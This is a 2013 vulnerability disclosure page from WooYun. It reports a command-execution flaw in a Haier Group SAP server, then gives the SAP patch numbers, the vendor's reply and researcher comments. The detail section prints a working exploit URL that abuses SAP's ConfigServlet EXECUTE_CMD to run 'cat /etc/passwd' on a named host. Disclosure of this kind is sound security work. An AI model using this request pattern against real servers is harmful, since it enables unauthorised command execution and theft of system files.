当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024723

漏洞标题：海尔集团某处SAP命令执行1处

相关厂商：海尔集团

漏洞作者： HRay

提交时间：2013-06-25 14:49

修复时间：2013-06-25 18:02

公开时间：2013-06-25 18:02

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-25： 细节已通知厂商并且等待厂商处理中
2013-06-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

海尔集团命令执行1处，涉及重要系统，所以自评15rank

详细说明：

http://gvshs5cs.haier.com/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat%20/etc/passwd


sap的命令执行

漏洞证明：

etcpasswd.jpg

修复方案：

打如下两个补丁：
SAP 1467771
SAP 1445998

版权声明：转载请注明来源 HRay@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-06-25 18:02

厂商回复：

非常感谢HRay的工作，HRay真实提交该问题时间，海尔集团还未成为乌云厂商，因此未完成了解并认领。后海尔集团于6月23日成为乌云厂商，而此漏洞也已于6月19日完善整改。

漏洞Rank：12 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-29 12:02 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    希望厂商全面排查下，测试中发现不止这一个存在问题

  2. 2013-05-29 12:22 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @HRay :)

  3. 2013-05-29 12:25 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:24 | ANONYMOUS)

    闹不明白

  4. 2013-05-29 13:49 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    @xsser 其实我标题没提sap是怕有人寻着标题就找到目标了。。。

  5. 2013-06-05 17:00 | Power ( 实习白帽子 | Rank:54 漏洞数:20 | 还需要等待.........)

    这个关注下。。。

  6. 2013-06-25 18:17 | 0x0F ( 普通白帽子 | Rank:231 漏洞数:60 | 尖刀安全 (JDSec.Com).......................)

    你整改就整改，还来个忽略？？？？？

  7. 2013-06-25 19:12 | 斯文的鸡蛋 ( 普通白帽子 | Rank:173 漏洞数:40 | 我在这头，你在那头~)

    节操碎了一地

  8. 2013-06-26 09:53 | Tracker ( 路人 | Rank:16 漏洞数:4 | 厂商虐我千百遍，我待厂商如初恋!)

    @海尔集团 我之前也提交过漏洞，修复了去吧。